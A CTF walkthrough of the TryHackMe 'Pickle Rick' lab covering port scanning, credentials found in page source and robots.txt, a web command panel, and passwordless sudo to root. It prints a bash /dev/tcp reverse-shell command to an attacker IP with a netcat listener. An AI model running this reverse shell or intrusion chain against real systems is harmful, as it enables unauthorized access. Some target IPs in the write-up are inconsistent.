December 10, 20224 minutes

A Rick and Morty CTF. Help turn Rick back into a human!

https://tryhackme.com/room/picklerick

This Rick and Morty-themed challenge requires you to exploit a web server to find 3 ingredients that will help Rick make his potion to turn himself back into a human from a pickle.

Attacker IP = 10.10.10.10

Target IP = 10.10.26.25

Reconnaissance#

First of all, we check whether the machine is up and which OS it runs

❯ ping -c 1 10.10.26.25
PING 10.10.26.25 (10.10.26.25) 56(84) bytes of data.
64 bytes from 10.10.26.25: icmp_seq=1 ttl=63 time=63.6 ms

--- 10.10.26.25 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 63.615/63.615/63.615/0.000 ms

In this case it returns a TTL (time to live) of 63, knowing that ttl=64: Linux / ttl=128: Windows. This machine is most likely Linux

Port scan (nmap)#

Now we start with a port scan

nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.26.25 -oG allPorts

With a function defined in .zshrc called extractPorts, we get the open ports in a more visual way

extractPorts function by @s4vitar

❯ extractPorts allPorts
───────┬────────────────────────────────────────────
       │ File: extractPorts.tmp
───────┼────────────────────────────────────────────
   1   │ 
   2   │ [*] Extracting information...
   3   │ 
   4   │     [*] IP Address: 10.10.26.25
   5   │     [*] Open ports: 22,80
   6   │ 
   7   │ [*] Ports copied to clipboard
   8   │ 
───────┴────────────────────────────────────────────

Now, with nmap, we try to find the versions of the services on those ports and run basic reconnaissance scripts

❯ nmap -p22,80 -sC -sV 10.10.11.105
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d1ed3a0a8738271e3eafc898ea5b27 (RSA)
|   256 7396d9e64c6a499612a1b46f571db2 (ECDSA)
|_  256 669f61effb12c69123cbc6280a5d1a (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Rick is sup4r cool

Nothing unusual so far…

Web reconnaissance#

When we open the website, the first thing we see is the following

With ctrl + u we can check whether there is anything in the page source.

On one line there is a comment containing a username

<!--

  Note to self, remember username!

  Username: R1ckRul3s

-->

Looking for subdirectories#

To look for subdirectories I tried wfuzz (wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.170:8080/FUZZ) and gobuster (gobuster -u 10.10.43.4 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt dir), but they were taking too long. So I tried an nmap script called http-enum

❯ nmap -p80 --script=http-enum 10.10.43.4
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 01:05 CET
Nmap scan report for 10.10.43.4
Host is up (0.064s latency).

PORT   STATE SERVICE
80/tcp open  http
| http-enum: 
|   /login.php: Possible admin folder
|_  /robots.txt: Robots file

Nmap done: 1 IP address (1 host up) scanned in 7.55 seconds

nmap reports 2: robots.txt and login.php

robots.txt#

robots.txt only contains one phrase: Wubbalubbadubdub

login.php#

login.php has a login panel. Using the username from the beginning and the phrase from robots.txt as the password, we get into a page called portal.php that has several sections, one of which is called commands, where we can run commands

Foothold#

We’ll try to get a reverse shell through that command execution.

nc -nlvp 443

To listen on port 443

Now, from the website, we’ll try to run the following:

bash -i >& /dev/tcp/10.10.10.10/443 0>&1

443 = Port we’re listening on 10.10.10.10 = Our machine’s IP

But we don’t receive anything

bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"

Now we have the reverse shell.

TTY upgrade#

First, to work more comfortably, we upgrade the terminal with the following commands:

script /dev/null -c bash

ctrl + z

stty raw -echo; fg

reset

xterm

export SHELL=bash

export TERM=xterm

“Flags”#

To solve the machine we need to find the three ingredients.

• The first one is in the /var/www/html directory, in a file called Sup3rS3cretPickl3Ingred.txt
• The second one is in /home/rick, in a file called second ingredients
• The last one is in the /root directory, but we don’t have access. When we try sudo su, it doesn’t ask for a password, so we can read the last ingredient, which is in a file called 3rd.txt